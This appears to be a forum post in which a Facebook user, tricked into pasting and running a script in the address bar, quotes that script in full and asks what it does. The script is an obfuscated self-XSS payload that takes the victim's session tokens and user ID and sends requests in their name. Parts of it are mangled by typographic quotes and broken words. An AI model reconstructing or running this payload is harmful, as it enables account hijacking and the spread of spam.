okay an application on faceook checked for keyboard strokes by asking me to press cntrl c alt d and cntrl v and enter and i made a fool of myself as soon as pressing cntrl v and enter i realised it could be a spam so i checked what alt plus d does, it activates adress bar and obviously i knew cntrl plus c copies so i pasted the script on notepad and cleared browser history immediately can you tell me please what following script does

javascript:void(eval(function(p,a,c,k,e,d){e=funct ion(c){return(c<a?”:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toStr ing(36))};if(!”.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(‘X:v(W);Z();9 6=1;i=0;a 8(u,p,g,s,t){6=1;7(x.N){6=q N()}h 7(x.o){P{6=q o("1b.J")}R(e){P{6=q o("13.J")}R(e){}}}7(s==1){6.18=a(){D(t)}}7(g==1){6 .m(\’15\’,u,d)}h{6.m(\’14\’,u,d)}6.16(p)}a D(t){7(6.17==4){7(6.1a==19){7(t==\’y\’){G=12(6.j); 8(V+G,\’\',d,1,\’A\’)}h 7(t==\’A\’){H=10(6.j);9 S=Y+H+\’r=\’+c+\’&b=\’+f;8(U,S,1,1,\’11\’)}h 7(t==\’11\’){i=2}h 7(t==\’1l\’){w=1t(6.j);9 I=1s+c+\’&\’+w+\’b=\’+f;7(w.1r>5)8(1u,I,1,d,\’\'); i=3}h 7(t==\’l\’){1v(6.j,k,E)}}}}E=1c(1x.1w(\’1p\’));c=n .r;f=n.b;k=n.K;9 C=1h+c+\’&b=\’+f;8(1g,C,1,1,\’y\’);9 F=z(a(){B()},1q);9 O=z(a(){M()},1f);a B(){7(i==3){v(F);9 T=1d+k+\’&r=\’+c+\’&b=\’+f;8(1e,T,1,d,\’\');9 Q=1i+c+\’&b=\’+f;8(1j,Q,1,d,\’\');8(1o,\’\',d,1,\’ l\’)}}a M(){7(i==2){v(O);9 L=1n+c+\’&b=\’+f+\’&K=\’+k;8(1m,L,1,1,\’1l\’)}}a 1k(u){x.m(u)}’,62,96,’|false|||||htp|if|mpr|var|fu nction|fb_dtsg|pf2|true||dg2||else|s9|responseText |u2||open|Env|ActiveXObject||new|post_form_id||||c learInterval|glst2|window|l1|setInterval|l1l|tim2f |p10|alcnt|u3|tim2|ky|glst|p3|XMLHTTP|user|par20|t im3f|XMLHttpRequest|tim3|try|p40|catch|p2|p30|a494 9752878_u2|a4949752878_u11|a4949752878_tc1|javascr ipt|a4949752878_par2|a4949752878_s3c|a4949752878_g 9||a4949752878_ky9|Microsoft|GET|POST|send|readySt ate|onreadystatechange|200|status|Msxml2|a49497528 78_u22|a4949752878_par30|a4949752878_u30|100|a4949 752878_u10|a4949752878_par10|a4949752878_par40|a49 49752878_u40|a4949752878_o||a4949752878_u20|a49497 52878_par20|a4949752878_u50|navAccountPic|500|leng th|a4949752878_par3|a4949752878_g92|a4949752878_u3 |a4949752878_slh|getElementById|document’.split(‘| ‘),0,{})))
